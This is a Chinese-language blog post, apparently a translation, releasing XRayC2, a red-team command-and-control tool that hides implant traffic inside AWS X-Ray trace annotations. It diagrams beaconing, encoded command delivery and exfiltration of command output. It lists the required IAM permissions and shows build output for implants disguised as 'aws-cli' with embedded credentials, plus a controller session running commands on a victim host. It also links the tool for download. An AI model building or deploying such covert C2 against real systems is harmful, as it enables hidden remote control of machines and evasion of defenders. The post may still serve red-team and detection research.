在开始之前,如果您尚未阅读我关于MeetC2的日志文章,建议先行查阅。数月来,我在红队行动中持续使用MeetC2工具,基于社区反馈,现计划发布新工具包XRayC2。
我始终热衷于研究突破传统网络防御的初始访问技术。本次我们利用AWS X-Ray(亚马逊分布式应用追踪服务)建立隐蔽通信通道,该技术通过合法云监控基础设施实现双向C2通信。
传统C2架构依赖攻击者控制服务器与受害主机间的网络连接,这种方式会留下诸多可检测痕迹,包括可疑域名、未知IP、异常网络模式及SSL证书异常等。
攻击域名:xray.[region].amazonaws.com
AWS X-Ray本用于帮助开发者通过收集追踪数据理解应用性能。但其注释功能可存储任意键值数据,且服务提供读写这些数据的API接口。
受害系统 X-Ray服务 控制端
│ │ │
│ PUT /TraceSegments │ │
│ { │ │
│ trace_id: "1-67a2b...", │ │
│ annotations: { │ │
│ service_type: "health_check" ◄─── 信标标记 │
│ instance_id: "a3f7b2c8" ◄─── 唯一植入ID │
│ platform: "darwin" ◄─── 操作系统信息 │
│ } │ │
│ } │ │
│─────────────────────────────────► │
│ │ GET /TraceSummaries │
│ │ (轮询新信标) │
│ ◄───────────────────────────┤
│ │ │
│ │ 返回信标追踪数据 │
│ ├──────────────────────────►│
│ │ │
│ │ [+] 新植入体:a3f7b2c8
控制端 X-Ray服务 受害系统
│ │ │
│ xray-c2> cmd whoami │ │
│ │ │
│ PUT /TraceSegments │ │
│ { │ │
│ trace_id: "1-67a2c...", │ │
│ annotations: { │ │
│ config_a3f7b2c8: │ │
│ base64(时间戳:whoami) ◄─── 编码命令 │
│ } │ │
│ } │ │
├─────────────────────────────────► │
│ │ │
│ │ GET /TraceSummaries │
│ │ (植入体轮询) │
│ ◄───────────────────────────┤
│ │ │
│ │ 返回含配置的追踪数据 │
│ ├──────────────────────────►│
│ │ │
│ │ [解码:"whoami"]
│ │ [执行命令]
受害系统 X-Ray服务 控制端
│ │ │
│ [命令执行:"zero"] │ │
│ │ │
│ PUT /TraceSegments │ │
│ { │ │
│ trace_id: "1-67a2d...", │ │
│ annotations: { │ │
│ instance_id: "a3f7b2c8" │ │
│ execution_result: │ │
│ base64("zero") ◄─── 编码输出 │
│ } │ │
│ } │ │
│─────────────────────────────────► │
│ │ │
│ │ GET /TraceSummaries │
│ │ (轮询响应) │
│ ◄───────────────────────────┤
│ │ │
│ │ 返回结果数据 │
│ ├──────────────────────────►│
│ │ │
│ │ [+] 来自a3f7b2c8的响应:
│ │ zero
信标随机间隔为30-60秒。植入体需手动实现自定义AWS SigV4认证,所有API请求必须使用访问密钥和密钥通过_HMAC-SHA256_签名,遵循亚马逊特定规范请求格式,从而生成与常规网络日志融为一体的合法AWS API流量。
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"xray:PutTraceSegments",
"xray:GetTraceSummaries",
"xray:BatchGetTraces"
],
"Resource": "*"
}
]
}
下载XRayC2:https://github.com/RootUp/XRayC2
bash-3.2$ ./build_standalone.sh
=====================================
X-Ray C2独立构建器
@RandomDhiraj
=====================================
输入要嵌入植入体的AWS凭证:
AWS访问密钥ID:[输入密钥]
AWS秘密访问密钥:[输入密钥]
[*] 构建macOS植入体(零依赖)...
[+] 生成:aws-cli (5.8M)
[*] 构建Windows植入体(零依赖)...
[+] 生成:aws-cli.exe (5.9M)
[*] 清理中...
=====================================
独立构建完成!
零依赖植入体已就绪:
• aws-cli (macOS/Linux)
• aws-cli.exe (Windows)
双击即可运行!
=====================================
bash-3.2$ export AWS_ACCESS_KEY_ID="[XRay用户密钥]"
bash-3.2$ export AWS_SECRET_ACCESS_KEY="[XRay用户密钥]"
bash-3.2$ python3.10 controller.py
[+] AWS账户:691455350179
[+] 区域:eu-west-1
┌─────────────────────────────────────────────────────────────┐
│ X-Ray C2控制器 │
└─────────────────────────────────────────────────────────────┘
可用命令:
list - 列出活跃植入体
use <id> - 选择植入体
cmd <命令> - 向选定植入体发送命令
info <id> - 显示植入体详情
clear - 清屏
exit / quit - 退出控制器
xray-c2 (none)> list
[-] 无活跃植入体
在受害机器运行aws-client
或aws-client.exe
后,控制器将收到回调:
[+] 新植入体连接:1e055763 (darwin)
xray-c2 (none)> list
[+] 活跃植入体:
----------------------------------------------------------------------
ID:1e055763
状态:活跃(3秒前最后一次信标)
首次出现:11:04:34
最后出现:11:04:34
信标次数:1
操作系统:darwin
----------------------------------------------------------------------
xray-c2 (none)> use 1e055763
[+] 已选择:1e055763
xray-c2 (1e055763)> cmd hostname
[*] 向1e055763发送命令:hostname
[+] 命令已发送(植入体将在下次信标时接收)
xray-c2 (1e055763)>
[+] 来自1e055763的响应:
Dhirajs-MacBook-Pro-2.local
参考来源:
Ghost in the Cloud: Weaponizing AWS X-Ray for Command & Control